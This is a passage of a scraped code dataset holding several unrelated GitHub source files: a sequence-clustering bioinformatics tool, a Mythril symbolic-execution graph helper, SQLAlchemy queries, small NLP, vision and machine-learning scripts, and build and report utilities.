3]\n if stop_codon_nuc != \"TAG\":\n tag['stop'].append(seq_id)\n stop = True\n break\n else:\n if seq_id not in tag['amber']:\n tag['amber'].append(seq_id)\n # If stop codon wasn't found between the restriction sites\n if not stop:\n \"\"\"\n # Checking if there is a stop codon outside the restriction sites. If yes -> tag ok_stop_ext\n for i in range(len(pos_stop)):\n if (pos_stop[i] > length/3):\n stop_codon_nuc = cut_seq[pos_stop[i]*3:pos_stop[i]*3+3]\n if stop_codon_nuc != \"TAG\":\n tag['ok_stop_ext'].append(seq_id)\n stop = True\n break\n else:\n if (seq_id not in tag['amber']):\n tag['amber'].append(seq_id)\n \"\"\"\n # Checking if there was a mutation in the fix part, if yes -> tag mut else retrieve variable parts\n mut = False\n pattern_part = args.pattern.split(\":\")\n tmp_prot_seq = prot_seq\n var_parts = []\n for i in range(len(pattern_part) - 1): # not checking the latest fix part\n part = pattern_part[i]\n # If part is fix\n if not part[0].isdigit():\n # If part not in prot_seq -> mutation, flag then break\n if part not in tmp_prot_seq:\n mut = True\n tag['mut'].append(seq_id)\n break\n # Else, store the variable part if exist then remove the fix part + variable part (tmp_prot_seq starts at the end of part)\n else:\n pos_fix = tmp_prot_seq.index(part)\n if pos_fix != 0:\n var_parts.append(tmp_prot_seq[0:pos_fix])\n tmp_prot_seq = tmp_prot_seq[pos_fix + len(part):]\n # Else part is variable\n else:\n nb_var_part += 1\n # Treating latest fix part if no mutation before\n if not mut:\n last_part = pattern_part[-1]\n last_var = pattern_part[-2]\n if '-' in last_var:\n var_max = int(last_var.split('-')[1])\n else:\n var_max = int(last_var)\n last_part = last_part[0:var_max + 1]\n if last_part not in tmp_prot_seq:\n mut = True\n tag['mut'].append(seq_id)\n else:\n pos_fix = tmp_prot_seq.index(last_part)\n if pos_fix != 0:\n var_parts.append(tmp_prot_seq[0:pos_fix])\n # If no mutation the sequence is validated and all the info are stored\n if not mut:\n good_seq[seq_id] = {}\n good_seq[seq_id]['dna'] = cut_seq\n good_seq[seq_id]['prot'] = prot_seq\n good_seq[seq_id]['var'] = var_parts\n\n# If all sequences are invalid, the program will exit as there is no data to continue\nif not good_seq:\n sys.exit(\"There is only one valid sequence among the input data. At least 2 valid sequences are necessary to proceed to the next step. The program will now exit\")\nelif len(good_seq.keys()) == 1:\n\n sys.exit(\"There is only one valid sequence among the input data. At least 2 valid sequences are necessary to proceed to the next step. The program will now exit\")\n\n# Initialization of dict var_seq_common\nfor n in range(nb_var_part):\n var_seq_common[str(n + 1)] = {}\n\n# Opening the file where the mcl input will be written\nwith open(mcl_file, 'w+') as mcl:\n seq_keys = good_seq.keys()\n for i in range(len(seq_keys)):\n var_1 = good_seq[list(seq_keys)[i]]['var']\n\n # Classifying variable sequences\n for k in range(len(var_1)):\n try:\n var_seq_common[str(k + 1)][var_1[k]] += 1\n except KeyError:\n var_seq_common[str(k + 1)][var_1[k]] = 1\n\n for j in range(i + 1, len(seq_keys)):\n var_2 = good_seq[list(seq_keys)[j]]['var']\n score = 0.0\n # Comparing the sequences' variable parts to find identical clones\n if var_1 == var_2:\n try:\n clone_seq = \"\".join(var_1)\n identical_clones[clone_seq].extend([seq_keys[i], seq_keys[j]])\n except KeyError:\n identical_clones[clone_seq] = [seq_keys[i], seq_keys[j]]\n # Align the 2 sequences using NWalign_PAM30 => replace by pairwise2\n seq_1 = ''.join(var_1)\n seq_2 = ''.join(var_2)\n matrix = MatrixInfo.pam30\n if len(seq_2) > len(seq_1):\n score = get_identity(pairwise2.align.globalds(seq_1, seq_2, matrix, -11, -1)[0][0], pairwise2.align.globalds(seq_1, seq_2, matrix, -11, -1)[0][1]) * 100\n else:\n score = get_identity(pairwise2.align.globalds(seq_2, seq_1, matrix, -11, -1)[0][0], pairwise2.align.globalds(seq_2, seq_1, matrix, -11, -1)[0][1]) * 100\n align_scores.append(score)\n mcl.write('%s\\t%s\\t%0.2f\\n' % (list(seq_keys)[i], list(seq_keys)[j], score))\n\n# Clusters formation\nsubprocess.call([\"mcl\", mcl_file, \"--abc\", \"-I\", \"6.0\", \"-o\", mcl_output], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n# Producing distribution graph\nplot.hist(align_scores, bins=numpy.arange(0, 101, 2))\nplot.xlabel('Pairwise Alignment Score')\nplot.ylabel('Number of occurrences')\nplot.title('Distribution of the pairwise alignment score')\nplot.grid(True)\nplot.savefig(graph_pic)\n\n# Generating html report\nreport_html(html_file, tag, all_seq, good_seq, all_seq_fasta, identical_clones, nb_var_part, var_seq_common, align_scores, args)\n\n# Removing intermediate files\nsubprocess.call([\"rm\", mcl_file, mcl_output], shell=False)\nprint(\"HTML report has been generated in the output directory. The program will now exit.\")\n","repo_name":"galaxyproject/tools-iuc","sub_path":"tools/syndiva/syndiva.py","file_name":"syndiva.py","file_ext":"py","file_size_in_byte":22698,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"61"}
+{"seq_id":"28331035858","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# Author : \nfrom mythril.analysis.symbolic import SymExecWrapper\nfrom mythril.ethereum.evmcontract import EVMContract\n\nfrom collections import defaultdict\n\n\nclass DiGraph(object):\n\n def __init__(self):\n self._graph = defaultdict(list)\n self._conditions = {}\n self._first_added = None\n\n @property\n def nodes(self):\n \"\"\" returns the vertices of a graph \"\"\"\n return list(self._graph.keys())\n\n @property\n def edges(self):\n \"\"\" returns the edges of a graph \"\"\"\n edges = []\n for vertex, neighbours in self._graph.items():\n for neighbour in neighbours:\n if {neighbour, vertex} not in edges:\n edges.append({vertex, neighbour})\n return edges\n\n def add_node(self, vertex):\n if not self._first_added:\n self._first_added = vertex # remember first vertex\n self._graph[vertex] = []\n\n def add_edge(self, frm, to, condition):\n if not self._first_added:\n self._first_added = frm # remember first vertex\n\n self._graph[frm].append(to)\n self._conditions[(frm, to)] = condition\n\n def iterate_graph(self, start=None):\n start = start or self._first_added\n\n yield start\n # {start:[vertex1,vertex2,...]\n for vertex in self._graph[start]:\n for v in self.iterate_graph(vertex):\n yield v\n\n def __repr__(self):\n return \"<%s nodes:%d edges:%d>\" %(self.__class__.__name__,\n len(self.nodes),\n len(self.edges))\n\n def find_isolated_vertices(self):\n \"\"\" returns a list of isolated vertices. \"\"\"\n graph = self._graph\n isolated = []\n for vertex in graph:\n print(isolated, vertex)\n if not graph[vertex]:\n isolated += [vertex]\n return isolated\n\n def find_path(self, start_vertex, end_vertex, _path=None):\n \"\"\" find a path from start_vertex to end_vertex\n in graph \"\"\"\n _path = _path or []\n graph = self._graph\n _path = _path + [start_vertex]\n if start_vertex == end_vertex:\n return _path\n if start_vertex not in graph:\n return None\n for vertex in graph[start_vertex]:\n if vertex not in _path:\n extended_path = self.find_path(vertex,\n end_vertex,\n _path)\n if extended_path:\n return extended_path\n return None\n\n def find_all_paths(self, start_vertex, end_vertex, _path=None):\n \"\"\" find all paths from start_vertex to\n end_vertex in graph \"\"\"\n _path = _path or []\n graph = self._graph\n _path = _path + [start_vertex]\n if start_vertex == end_vertex or (\n not end_vertex and not graph[start_vertex]): # start_vertex == [] <-- no more vertices\n return [_path]\n if start_vertex not in graph:\n return []\n paths = []\n\n for vertex in graph[start_vertex]:\n if vertex not in _path:\n extended_paths = self.find_all_paths(vertex,\n end_vertex,\n _path)\n for p in extended_paths:\n paths.append(p)\n return paths\n\n\nclass MythrilSymExecGraph(DiGraph):\n\n def __init__(self):\n super().__init__()\n\n def get_block_and_state_by_address(self, address, prn_cmp=None):\n if not prn_cmp:\n prn_cmp = lambda x, y: x == y\n\n # find all basicblocks that contain instructions from a specific address\n for n in self.nodes:\n for s in n.states:\n instr = s.get_current_instruction()\n if prn_cmp(instr[\"address\"], address):\n yield n, s\n break\n\n def get_block_and_state_by_instruction_name(self, name, prn_cmp=None):\n \"\"\"\n\n # find all pushes\n print(list(s.get_current_instruction() for b,s in graph.get_block_and_state_by_instruction_name(\"PUSH\",prn_cmp=lambda x,y:x.startswith(y))))\n\n :param name:\n :param prn_cmp:\n :return:\n \"\"\"\n if not prn_cmp:\n prn_cmp = lambda x, y: x == y\n\n # find all basicblocks that contain instructions from a specific address\n for n in self.nodes:\n for s in n.states:\n instr = s.get_current_instruction()\n if prn_cmp(instr[\"opcode\"], name):\n yield n, s\n break\n\n def get_block_by_uid(self, uid):\n return next(b for b in self.nodes if b.uid == uid)\n\n def get_streams(self, start=None):\n \"\"\"\n Get all possible paths/forks/execution streams from starting block end of execution\n\n Example:\n for stream in graph.get_streams(graph.get_basicblock_by_uid(0)):\n print([s.uid for s in stream])\n\n [0, 1]\n [0, 2, 3, 33, 35, 36, 38]\n [0, 2, 3, 33, 35, 37]\n [0, 2, 3, 34]\n [0, 2, 4, 5, 29, 31, 32]\n [0, 2, 4, 5, 30]\n [0, 2, 4, 6, 7, 25, 27, 28]\n [0, 2, 4, 6, 7, 26]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 16, 18, 20, 21, 23]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 16, 18, 20, 21, 24]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 16, 18, 20, 22]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 16, 19]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 17]\n [0, 2, 4, 6, 8, 9, 11, 13, 15]\n [0, 2, 4, 6, 8, 9, 12]\n [0, 2, 4, 6, 8, 10]\n\n\n :param start:\n :return:\n \"\"\"\n start = start or self.get_block_by_uid(0)\n return self.find_all_paths(start_vertex=start, end_vertex=None)\n\n def get_stream_by_block(self, block, start=None):\n start = start or self.get_block_by_uid(0)\n\n all_streams = self.get_streams(start=start)\n\n result_streams = []\n\n for s in all_streams:\n if block in s:\n result_streams.append(s)\n continue\n return result_streams\n\n def iterate_blocks(self, start):\n start = start or self.get_block_by_uid(0)\n\n return self.iterate_graph(start=start)\n\n def iterate_blocks_and_states(self):\n for node in self.nodes:\n for state in node.states:\n yield node, state\n\n\ndef symbolic_execute(code, address):\n contract = EVMContract(code)\n sym = SymExecWrapper(contract=contract, address=address, strategy=\"dfs\")\n\n # populate graph object\n graph = MythrilSymExecGraph()\n for n in sym.nodes.values():\n # g.add all nodes - just in case one is not connected which should not happen\n graph.add_node(n)\n\n for e in sym.edges:\n graph.add_edge(sym.nodes[e.node_from], sym.nodes[e.node_to], e)\n\n \"\"\"\n print(graph.iterate_graph())\n print(sorted([x.uid for x in graph.nodes]))\n print(graph._first_added.uid)\n print(next(graph.get_basicblocks_by_address(0)))\n print(graph.get_basicblock_by_uid(0))\n print(list(n.uid for n in graph.iterate_graph(graph.get_basicblock_by_uid(0))))\n\n print(graph.find_all_paths(graph.get_basicblock_by_uid(0), graph.get_basicblock_by_uid(37)))\n print(graph.find_all_paths(graph.get_basicblock_by_uid(0),None))\n print(\"streams\")\n for stream in graph.get_streams(graph.get_basicblock_by_uid(0)):\n print([s.uid for s in stream])\n \n print(list(s.get_current_instruction() for b,s in graph.get_block_and_state_by_instruction_name(\"PUSH\",prn_cmp=lambda x,y:x.startswith(y))))\n\n print(graph.get_stream_by_block(block=graph.get_block_by_uid(2)))\n \"\"\"\n # only work on the graph from now\n return graph\n","repo_name":"tintinweb/ethereum-dasm","sub_path":"ethereum_dasm/symbolic/mythril.py","file_name":"mythril.py","file_ext":"py","file_size_in_byte":8041,"program_lang":"python","lang":"en","doc_type":"code","stars":212,"dataset":"github-code","pt":"61"}
+{"seq_id":"5838840269","text":"from typing import List\n\nimport pandas as pd\nimport config.data\nfrom sqlalchemy import create_engine, func, desc, select, label, text\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy.orm import Session, sessionmaker\n\nfrom config.data import ConfigData\nfrom database import models\nfrom database.models import Base, Run, Simulation, MCTSPlayer, Player\n\n# DB_URL = \"postgresql://user:password@host.docker.internal:5432/card_games\"\nDB_URL = \"postgresql://user:password@database:5432/card_games\"\n\n\ndef make_engine():\n return create_engine(DB_URL)\n\n\nmy_engine: Engine = make_engine()\nmy_session: Session = Session(my_engine)\nSessionLocal = sessionmaker(bind=my_engine)\n\n\ndef initialise_db(engine: Engine = my_engine, session: Session = my_session):\n Base.metadata.drop_all(engine)\n Base.metadata.create_all(bind=engine)\n session.commit()\n\n\ndef save_simulation(config: ConfigData, name: str, iterations: int, config_file) -> int:\n session = SessionLocal()\n sim = models.Simulation(name=name, iterations=iterations, config_file=config_file, init_cards=config['init_cards'])\n session.add(sim)\n session.flush()\n for card in config['suits']:\n session.add(models.Suit(sim_id=sim.id, name=card['name'], numeric=card['numeric']))\n for card in config['values']:\n session.add(models.Value(sim_id=sim.id, name=card['name'], numeric=card['numeric']))\n session.commit()\n sim_id = sim.id\n session.close()\n return sim_id\n\n\ndef save_run(sim_id: int, sim_run: \"config.data.SimulationRun\") -> int:\n session = SessionLocal()\n run = Run(sim_id=sim_id, metrics_results=sim_run['metric_results'])\n session.add(run)\n session.flush()\n for player in sim_run['players']:\n type_ = player['type']\n name = player['name']\n d = dict(\n run_id=run.id,\n name=name,\n type=type_,\n shuffling=sim_run['player_shuffling'][name],\n wins=sim_run['player_wins'][name],\n spent_time=sim_run['player_spent_time'][name],\n )\n if type_ == 'mcts':\n session.add(models.MCTSPlayer(\n **d,\n heuristic=player['data']['heuristic'],\n limit=player['data']['limit'],\n iterations=player['data']['iterations'],\n width=player['data']['width'],\n expl_const=player['data']['expl_const']\n ))\n elif type_ == 'backtrack':\n session.add(models.BTPlayer(\n **d,\n heuristic=player['data']['heuristic'],\n limit=player['data']['limit'],\n ))\n else:\n session.add(models.Player(**d))\n session.commit()\n run_id = run.id\n session.close()\n return run_id\n\n\ndef query_sim_iterations(session: Session, sim_id: int) -> int:\n return session.query(Simulation.iterations).filter(Simulation.id == sim_id).first().iterations\n\n\ndef query_run_ids(session: Session, sim_id: int) -> List[int]:\n return [row.id for row in session.query(Run.id).filter(Run.sim_id == sim_id).all()]\n\n\ndef query_config_file(session: Session, sim_id: int) -> str:\n return session.query(Simulation.config_file).filter(Simulation.id == sim_id).first().config_file\n\n\ndef query_mcts_iterations(session: Session, sim_id: int, name: str):\n return [row.iterations for row in session.query(MCTSPlayer.iterations).join(Run)\n .filter(Run.sim_id == sim_id)\n .filter(MCTSPlayer.name == name).distinct().all()]\n\n\ndef query_mcts_expl(session: Session, sim_id: int, name: str):\n return [row.expl_const for row in session.query(MCTSPlayer.expl_const).join(Run)\n .filter(Run.sim_id == sim_id)\n .filter(MCTSPlayer.name == name).distinct().all()]\n\n\ndef query_mcts_heuristic(session: Session, sim_id: int) -> List[str]:\n return [row.heuristic for row in\n session.query(MCTSPlayer.heuristic).join(Run).filter(Run.sim_id == sim_id).distinct().all()]\n\n\ndef query_names(session: Session, sim_id: int) -> List[str]:\n return [row.name for row in\n session.query(Player.name).join(Run).filter(Run.sim_id == sim_id).distinct().order_by(Player.name).all()]\n\n\ndef query_max_value_for_metric(session: Session, sim_id: int, metric: str) -> float:\n subquery = session.query(text(f\"jsonb_array_elements(data->'{metric}')::float8 AS value\")) \\\n .select_from(Run, func.jsonb_array_elements(Run.metrics_results).alias('data')) \\\n .filter(Run.sim_id == sim_id) \\\n .subquery()\n return session.query(func.max(text(\"value\"))).select_from(subquery).scalar()\n\n\ndef query_avg_length_game(session: Session, sim_id: int) -> float:\n return session.query(func.avg(text(\"jsonb_array_length(data->'Size')\")))\\\n .select_from(Run, func.jsonb_array_elements(Run.metrics_results).alias('data'))\\\n .filter(Run.sim_id == sim_id).scalar()\n\n\ndef query_of_wins_and_iterations(session: Session, sim_id: int, name: str):\n return session.query(MCTSPlayer.wins, MCTSPlayer.iterations) \\\n .join(Run) \\\n .filter(MCTSPlayer.name == name) \\\n .filter(Run.sim_id == sim_id) \\\n .order_by(MCTSPlayer.name, MCTSPlayer.iterations)\n\n\ndef query_of_wins_and_expl_const(session: Session, sim_id: int, iterations: int, name: str):\n return session.query(MCTSPlayer.wins, MCTSPlayer.expl_const).join(Run) \\\n .filter(Run.sim_id == sim_id) \\\n .filter(MCTSPlayer.name == name) \\\n .filter(MCTSPlayer.iterations == iterations) \\\n .order_by(MCTSPlayer.expl_const)\n\n\ndef query_of_wins_and_heuristic(session: Session, sim_id: int, iterations: int, expl_const: float, name: str):\n query_h = session.query(MCTSPlayer.heuristic).join(Run) \\\n .filter(Run.sim_id == sim_id) \\\n .distinct().subquery()\n query_w = session.query(MCTSPlayer.heuristic, MCTSPlayer.wins).join(Run) \\\n .filter(Run.sim_id == sim_id) \\\n .filter(MCTSPlayer.name == name) \\\n .filter(MCTSPlayer.iterations == iterations) \\\n .filter(MCTSPlayer.expl_const == expl_const).subquery()\n # noinspection PyTypeChecker\n return session.query(query_h.c.heuristic, query_w.c.wins) \\\n .outerjoin(query_h, query_w.c.heuristic == query_h.c.heuristic, full=True) \\\n .order_by(desc(func.length(query_h.c.heuristic)))\n\n\ndef query_of_wins_width_limit(session: Session, sim_id: int, iterations: int, name: str, ):\n return session.query(MCTSPlayer.wins, MCTSPlayer.width, MCTSPlayer.limit).join(Run) \\\n .filter(Run.sim_id == sim_id) \\\n .filter(MCTSPlayer.name == name) \\\n .filter(MCTSPlayer.iterations == iterations) \\\n .order_by(MCTSPlayer.width, MCTSPlayer.limit)\n\n\ndef query_of_wins_spent_time(session: Session, sim_id: int, name: str):\n iterations = query_sim_iterations(session, sim_id)\n sub_query = select(Run.id).join(Player)\\\n .filter(Run.sim_id == sim_id)\\\n .filter(Player.name == name)\\\n .order_by(Run.id).distinct()\n return session.query(Player.name,\n label(\"wins\", 1 - Player.wins / iterations),\n label(\"spent_time\", Player.spent_time / iterations))\\\n .join(Run)\\\n .filter(Run.sim_id == sim_id)\\\n .filter(Player.name != name)\\\n .filter(Run.id.in_(sub_query)).order_by(Player.name)\n\n\ndef query_of_metric(session: Session, run_id: int, metric: str):\n return session.query(text(\"data -> '\" + metric + \"'\")).\\\n select_from(Run, func.jsonb_array_elements(Run.metrics_results).alias('data')).\\\n filter(Run.id == run_id)\n\n\ndef query_to_df(query, engine=my_engine):\n return pd.read_sql_query(query.statement, engine.connect())\n\n\ndef query_player_name(session: Session, run_id: int) -> str:\n return session.query(Player.name)\\\n .filter(Player.run_id == run_id)\\\n .filter(Player.name != 'MCTS_VANILLA2').first().name\n\n\nif __name__ == '__main__':\n initialise_db()\n","repo_name":"jakub-kassak/bachalor_thesis","sub_path":"src/database/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":7943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"29018032270","text":"import sys\nfrom nltk.tokenize import sent_tokenize, word_tokenize\n\nfr = open(sys.argv[1]).read()\nsent = sent_tokenize(fr)\n\nword = []\nfor sents in sent:\n word.extend(word_tokenize(sents))\n\nprint(word)\n","repo_name":"takikawa-masaya/assignment2016","sub_path":"preprocess/word_tokenize.py","file_name":"word_tokenize.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"41983463738","text":"# Crear una funcion 'adivinar' que permita adiviniar\n# un numero generado de forma aleatoria \n\nimport random\n\ndef adivinar(intentos):\n\tx = random.randint(0,100)\n\t#print (x)\n\tfor i in range(0, intentos):\n\t\tprint ('Intento Nº',i+1 ,': ', end = '')\n\t\tnum = int(input())\n\t\tif num == x :\n\t\t\tprint ('Felicidades. Adivino el numero en', i, 'intentos.')\n\t\t\texit()\n\t\telse :\n\t\t\tprint ('Numero incorrecto.', end = '')\n\telse :\n\t\tprint ('\\nHa superado el numero de intentos. Suerte para la proxima.')\n\t\texit()\n\nprint ('Adivine el numero generado de forma aleatoria entre 0 y 100.')\nintentos = int (input ('Primero ingrese la cantidad de intentos: '))\nprint ('Comencemos')\nadivinar(intentos)","repo_name":"alvaro-moralesg/Vision-Por-Computadora","sub_path":"p1/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"40966285908","text":"import logging\nfrom os import walk\nfrom os.path import abspath, join, isfile\nfrom typing import Generator, List, Optional\n\n\n__all__ = [\"main\"]\n\n\ndef main(cmd, path: str, verbose: bool, **kwargs) -> None:\n level = logging.ERROR\n if verbose:\n level = logging.INFO\n logging.getLogger().setLevel(level)\n\n # this could easily be parallelized\n path = abspath(path)\n\n if isfile(path):\n job = cmd(path=path)\n job.run(**kwargs)\n\n else:\n for md_file in markdown_finder(path):\n job = cmd(path=md_file)\n job.run(**kwargs)\n\n\n# ---------------------------------------------------------\ndef markdown_finder(\n directory: str,\n ignore: Optional[List[str]] = None,\n) -> Generator:\n if not ignore:\n ignore = []\n\n for d in _walk_dir(directory=directory, ignore=ignore):\n yield d\n\n\ndef _walk_dir(\n directory: str, ignore: list\n) -> Generator[str, None, None]:\n for root, dirs, files in walk(directory, topdown=True):\n for ign in ignore:\n if ign in dirs:\n dirs.remove(ign)\n\n for dir in dirs:\n if dir.startswith(\".\"):\n dirs.remove(dir)\n\n for file in files:\n if is_md(file):\n yield join(root, file)\n\n\ndef is_md(filename: str) -> bool:\n return filename.endswith(\".md\")\n","repo_name":"kremrik/hot-rod-markdown","sub_path":"hrm/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"24771272715","text":"#!/usr/bin/env python\n\"\"\"\nsetup.py file for SWIG stdVector\n\"\"\"\nfrom distutils.core import setup, Extension\nstdVector_module = Extension('_stdVector',\n sources=['stdVector_wrap.cxx']\n )\nsetup (name = 'stdVector',\n version = '0.1',\n author = \"SWIG Docs\",\n description = \"\"\"Simple swig stdVector from docs\"\"\",\n ext_modules = [stdVector_module],\n py_modules = [\"stdVector\"],\n )\n","repo_name":"pixelmuerto/pixelmuerto.github.com","sub_path":"_includes/wiki/swig/stdVectorSetup.py","file_name":"stdVectorSetup.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"34611483831","text":"from operator import itemgetter\n\nclass CompilerUsageByCount:\n def __init__(self, cursor):\n self.__linkA = []\n self.__cursor = cursor\n def build(self, args, startdate, enddate):\n query = \"\"\"\n SELECT link_program, count(date) as count FROM xalt_link\n WHERE build_syshost like %s\n AND date >= %s AND date <= %s\n GROUP by link_program\n \"\"\"\n cursor = self.__cursor\n cursor.execute(query, (args.syshost, startdate, enddate))\n resultA = cursor.fetchall()\n linkA = self.__linkA\n for link_program, count in resultA:\n entryT = { 'count' : count,\n 'link_program' : link_program }\n linkA.append(entryT)\n \n def report_by(self, args, sort_key):\n resultA = []\n resultA.append([\"Count\", \"Link Program\"])\n resultA.append([\"-----\", \"------------\"])\n\n linkA = self.__linkA\n sortA = sorted(linkA, key=itemgetter(sort_key), reverse=True)\n num = min(int(args.num), len(sortA))\n for i in range(num):\n entryT = sortA[i]\n resultA.append([\"%d\" % (entryT['count']), entryT['link_program']])\n \n return resultA\n\nclass CompilerUsageByCoreHours:\n def __init__(self, cursor):\n self.__linkA = []\n self.__cursor = cursor\n\n def build(self, args, startdate, enddate):\n query = \"\"\"\n SELECT\n ROUND(SUM(t1.run_time*t1.num_cores/3600.0)) as corehours,\n COUNT(t1.date) as n_runs,\n COUNT(DISTINCT(t1.user)) as n_users,\n t2.link_program as link_program\n FROM xalt_run as t1, xalt_link as t2\n WHERE t1.uuid is not NULL\n AND t1.uuid = t2.uuid\n and t1.syshost like %s\n AND t1.date >= %s and t1.date <= %s\n GROUP by link_program\n \"\"\"\n cursor = self.__cursor\n cursor.execute(query, (args.syshost, startdate, enddate))\n resultA = cursor.fetchall()\n linkA = self.__linkA\n for corehours, n_runs, n_users, link_program in resultA:\n entryT = { 'corehours' : corehours,\n 'n_users' : n_users,\n 'n_runs' : n_runs,\n 'link_program': link_program\n }\n linkA.append(entryT)\n \n\n def report_by(self, args, sort_key):\n resultA = []\n resultA.append(['CoreHrs', '# Users','# Runs','Link Program'])\n resultA.append(['-------', '-------','------','------------'])\n\n linkA = self.__linkA\n sortA = sorted(linkA, key=itemgetter(sort_key), reverse=True)\n num = min(int(args.num), len(sortA))\n for i in range(num):\n entryT = sortA[i]\n resultA.append([\"%.0f\" % (entryT['corehours']), \"%d\" % (entryT['n_users']), \"%d\" % (entryT['n_runs']), \\\n entryT['link_program']])\n return resultA\n\n","repo_name":"ZQyou/xalt_usage_report","sub_path":"report/compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"15074073011","text":"#Canny serve para detecção de bordas na imagem.\n\nimport cv2\n\n#seleciona a imagem\nobj_img = cv2.imread (\"imgs/paisagem.jpg\")\n\nimg = cv2.cvtColor(obj_img, cv2.COLOR_BGR2GRAY)\n\ncanny_image = cv2.Canny(img, 80, 1000)\n\ncv2.imshow(\"gray\", img)\ncv2.imshow(\"canny\", canny_image)\ncv2.waitKey(0)\n\ncv2.imwrite (\"canny.jpg\", canny_image)\n\n","repo_name":"andersontbessa/Lapisco-training-in-Python-OpenCV---answers","sub_path":"6/6 filtros passa alta de canny (cv_canny).py","file_name":"6 filtros passa alta de canny (cv_canny).py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"25709614783","text":"from Lab7.MyException import MyException\nfrom Lab7.Repository import Repository\nfrom random import random\nimport matplotlib.pyplot as plt\n\n\nclass Controller:\n def __init__(self, repository: Repository):\n self.__repository = repository\n self.__repository.importData('database.data')\n\n def run(self, testSizeStr, withShuffleStr, noOfEpochsStr, learningRateStr):\n testSize, withShuffle, noOfEpochs, learningRate = self.__validate(testSizeStr, withShuffleStr, noOfEpochsStr, learningRateStr)\n self.start(testSize, withShuffle, noOfEpochs, learningRate)\n\n def start(self, testSize, withShuffle, noOfEpochs, learningRate):\n self.__repository.splitData(testSize, withShuffle)\n\n weights = self.__train(noOfEpochs, learningRate)\n self.__test(weights)\n\n def __train(self, noOfEpochs, learningRate):\n rows = self.__repository.trainData\n noOfRows = len(rows)\n noOfAttributes = len(rows[0]) - 1\n\n losses = []\n\n # initialise weights\n weights = [random() for noOfWeight in range(noOfAttributes)]\n\n for epoch in range(noOfEpochs):\n\n predictedValues = [self.__compute(weights, row) for row in rows]\n errors = [predictedValues[rowIndex] - rows[rowIndex][-1] for rowIndex in range(noOfRows)]\n errorsSquared = [error ** 2 for error in errors]\n\n loss = (1.0 / (2 * noOfRows)) * sum(errorsSquared)\n losses.append(loss)\n\n derivatives = [0] * noOfAttributes\n for derivativeIndex in range(noOfAttributes):\n for rowIndex in range(noOfRows):\n derivatives[derivativeIndex] = derivatives[derivativeIndex] + errors[rowIndex] * rows[rowIndex][derivativeIndex]\n derivatives[derivativeIndex] /= noOfRows\n\n # update weights\n for weightIndex in range(noOfAttributes):\n weights[weightIndex] = weights[weightIndex] - learningRate * derivatives[weightIndex]\n\n plt.plot(range(noOfEpochs), losses)\n plt.xlabel(\"iteration\")\n plt.ylabel(\"loss function\")\n plt.show()\n\n return weights\n\n def __test(self, weights):\n rows = self.__repository.testData\n noOfRows = len(rows)\n\n predicted = [self.__compute(weights, row) for row in rows]\n errors = [rows[index][-1] - predicted[index] for index in range(noOfRows)]\n\n for index in range(noOfRows):\n print(\"{} -> Actual: {:.2f} . Predicted: {:.2f} . Error: {:.2f} .\".format(index + 1, rows[index][-1],\n predicted[index], errors[index]))\n\n print(\"\\n\")\n\n average = sum(errors) / noOfRows\n print(\"Average Error: {:+.2f}\".format(average))\n\n @staticmethod\n def __compute(weights, row):\n return sum([weight * attribute for weight, attribute in zip(weights, row)])\n\n @classmethod\n def __validate(cls, testSizeStr, withShuffleStr, noOfEpochsStr, learningRateStr):\n try:\n testSize = float(testSizeStr)\n if not (0 < testSize < 1):\n raise ValueError()\n except ValueError:\n raise MyException(\"Test size must be a float in range (0, 1).\")\n\n withShuffle = False\n if withShuffleStr.lower() == 'false':\n pass\n elif withShuffleStr.lower() == 'true':\n withShuffle = True\n else:\n raise MyException(\"Shuffle option must be boolean.\")\n\n try:\n noOfEpochs = int(noOfEpochsStr)\n if not (0 < noOfEpochs):\n raise ValueError()\n except ValueError:\n raise MyException(\"No. of epochs must be an integer greater than 0.\")\n\n try:\n learningRate = float(learningRateStr)\n if not (0 < learningRate <= 1):\n raise ValueError()\n except ValueError:\n raise MyException(\"Learning rate must be a float in range (0, 1].\")\n\n return testSize, withShuffle, noOfEpochs, learningRate\n","repo_name":"AdrianPascan/Bachelor","sub_path":"4th semester/AI (Artificial Intelligence)/Lab7_GradientDescent/Controller.py","file_name":"Controller.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
